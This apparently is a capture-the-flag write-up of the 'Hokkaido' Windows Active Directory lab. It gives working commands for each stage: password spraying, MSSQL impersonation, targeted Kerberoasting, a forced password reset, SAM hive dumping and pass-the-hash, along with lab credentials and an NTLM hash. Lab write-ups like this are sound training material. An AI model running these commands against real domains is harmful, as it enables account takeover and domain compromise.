skip to content
← back to catalog
ES
FILE №007 · CLASSIFICATION DECLASSIFIED ·

Hokkaido

PG MEDIUM TARGET: 192.168.146.40
#windows#active-directory#mssql#kerberoasting#sebackupprivilege#pivoting#bloodhound

Hokkaido Banner

Details

  • OS: Windows
  • Difficulty: Medium
  • IP Address: 192.168.146.40
  • Author: AETH3RON

Overview

Hokkaido is a Medium Windows AD machine requiring multi-stage pivoting. Foothold is established via username enumeration and password spraying, leading to credentials in a share and subsequent MSSQL access. Database impersonation reveals LDAP credentials, enabling a Targeted Kerberoasting attack via a GenericWrite ACL and a forced password reset of a Tier 1 admin. Final privilege escalation abuses SeBackupPrivilege to dump registry hives and pass-the-hash as Administrator.

Enumeration

Nmap

We began by scanning the target to identify open ports and services.

nmap -Pn -sS -sV -p- 192.168.146.40 -oN nmap-basic

Nmap basic SYN scan showing open ports on Hokkaido

We performed a more comprehensive scan on the discovered ports.

nmap -Pn -sS -sV -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389 192.168.146.40 -oN nmap-common

Nmap targeted scan confirming Windows DC with MSSQL (port 1433) exposed

The scan results confirm this is a Windows Domain Controller running typical AD services (DNS, Kerberos, LDAP, SMB) and MSSQL. Standard enumeration with tools like enum4linux and ldapsearch did not yield significant results, so we moved to username enumeration.

Kerbrute

We utilized kerbrute to validate potential usernames against the domain using a large wordlist.

kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.146.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

Kerbrute validating usernames against the hokkaido-aerospace.com domain

This process identified several valid user accounts. We saved these usernames to a file named usernames.txt to attempt password spraying.

SMB

Using the discovered usernames, we attempted a password spray where the password matched the username (a common misconfiguration).

nxc smb 192.168.146.40 -u usernames.txt -p usernames.txt

NetExec SMB password spray with username-as-password revealing info:info credentials

The attack succeeded, revealing valid credentials for the user info (info:info). With these credentials, we could now enumerate the full list of domain users.

nxc smb 192.168.146.40 -u info -p info --users

NetExec listing all domain users authenticated as info

We saved the complete user list for further processing. To explore the file shares available to the info user, we used the spider_plus module in NetExec.

nxc smb 192.168.146.40 -u info -p info -M spider_plus

NetExec spider_plus module crawling SMB shares accessible to the info user

Analyzing the resulting JSON output, we identified an interesting file named password_reset.txt located in the NETLOGON share. We downloaded and read the file, which revealed the password Start123!.

To identify the owner of these credentials, we sprayed the password Start123! against our list of gathered usernames.

nxc smb 192.168.146.40 -u usernames.txt -p 'Start123!' --continue-on-success

NetExec spray revealing discovery:Start123! credentials from the NETLOGON password_reset.txt

This revealed another valid credential set: discovery:Start123!.

MSSQL

While the discovery user did not have WinRM or RDP access, NetExec indicated access to the MSSQL service. We connected to the database instance using impacket-mssqlclient.

impacket-mssqlclient discovery:'Start123!'@192.168.146.40 -windows-auth

Impacket mssqlclient connected to MSSQL as discovery user

Once connected, we enumerated the available databases.

SELECT name FROM master..sysdatabases;

MSSQL query listing available databases including the non-standard hrappdb

We identified a non-default database named hrappdb. However, attempting to select it resulted in a permission error. We checked for users we could impersonate to escalate privileges within the database context.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

MSSQL query showing hrappdb-reader as an impersonatable login

EXECUTE AS LOGIN impersonating hrappdb-reader to access the hrappdb database

The output confirmed we could impersonate the user hrappdb-reader. We executed the impersonation and successfully accessed the target database.

EXECUTE AS LOGIN = 'hrappdb-reader'; use hrappdb;

We then enumerated the tables within the database.

SELECT * FROM hrappdb.INFORMATION_SCHEMA.TABLES;

INFORMATION_SCHEMA.TABLES query listing tables within the hrappdb database

Querying the identified tables revealed credentials for a service account: hrapp-service:Untimed$Runny.

SELECT * FROM sysauth;

sysauth table revealing plaintext credentials for hrapp-service account

Foothold

With the credentials for hrapp-service, we gained read access to the Active Directory environment. We utilized bloodhound-python to collect domain data for analysis.

bloodhound-python -u hrapp-service -p 'Untimed$Runny' -ns 192.168.146.40 -d hokkaido-aerospace.com -c All

bloodhound-python collecting all AD domain data as hrapp-service

After importing the data into BloodHound, we analyzed the shortest paths to compromise. We discovered that hrapp-service has GenericWrite privileges over the user Hazel.Green, who is a Tier 2 Administrator.

BloodHound showing hrapp-service has GenericWrite over Hazel.Green Tier 2 admin

This permission allows us to perform a Targeted Kerberoasting attack. By modifying the servicePrincipalName (SPN) of the target user, we can request a Kerberos TGS ticket and attempt to crack it offline.

python3 targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.146.40

Targeted Kerberoasting extracting TGS hash for Hazel.Green via GenericWrite SPN abuse

We successfully extracted the hash and cracked it using Hashcat, revealing the password: haze1988.

Hashcat cracking Hazel.Green's TGS hash revealing password 'haze1988'

Lateral Movement

Further analysis in BloodHound showed that Hazel.Green is a member of the IT Group. This group has the permission to forcefully change the passwords of Tier 1 Administrators, specifically the user MOLLY.SMITH.

We used rpcclient to exploit this permission and reset Molly’s password.

rpcclient -N 192.168.146.40 -U 'hazel.green%haze1988' $> setuserinfo2 MOLLY.SMITH 23 'Password123!'

rpcclient setuserinfo2 forcibly resetting MOLLY.SMITH's password to Password123!

With the password set to Password123!, we logged in via RDP to verify access.

xfreerdp3 /u:molly.smith /p:'Password123!' /v:192.168.146.40 +clipboard

xfreerdp3 establishing RDP session as molly.smith to verify access

Privilege Escalation

Once authenticated as MOLLY.SMITH, we checked our assigned privileges.

whoami /priv

whoami /priv showing SeBackupPrivilege enabled for MOLLY.SMITH

The output confirmed that the user holds the SeBackupPrivilege. This privilege allows the user to bypass file access restrictions to back up files, which we can abuse to dump the critical SAM and SYSTEM registry hives.

We executed the following commands to save the registry hives to a temporary directory:

reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

![reg save commands dumping SAM and SYSTEM registry hives to C:\Temp](/assets/machines/Hokkaido/reg-save.png)

We transferred these files back to our attacker machine and used impacket-secretsdump to extract the local hashes offline.

impacket-secretsdump -system system -sam sam local

impacket-secretsdump extracting the local Administrator NTLM hash from the SAM/SYSTEM hives

The tool successfully dumped the local Administrator’s NTLM hash. We used this hash to authenticate via WinRM (Pass-the-Hash), granting us a full SYSTEM shell.

evil-winrm -i 192.168.146.40 -u administrator -H "d752482897d54e239376fddb2a2109e4"

Evil-WinRM Pass-the-Hash as Administrator granting full SYSTEM access to Hokkaido

Business Impact

This attack chain illustrates how initial access through weak credentials can escalate to full domain compromise through MSSQL abuse and Kerberos attacks. The ability to perform Targeted Kerberoasting after gaining GenericWrite permissions demonstrates how a single misconfigured ACL can expose service account credentials. The subsequent SeBackupPrivilege abuse on the domain controller enables extraction of all domain secrets, including the KRBTGT hash, which would allow an attacker to forge Golden Tickets and maintain persistent, undetectable access to the entire Active Directory environment. For organizations with MSSQL-integrated authentication, this represents a complete breakdown of their security boundary.

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.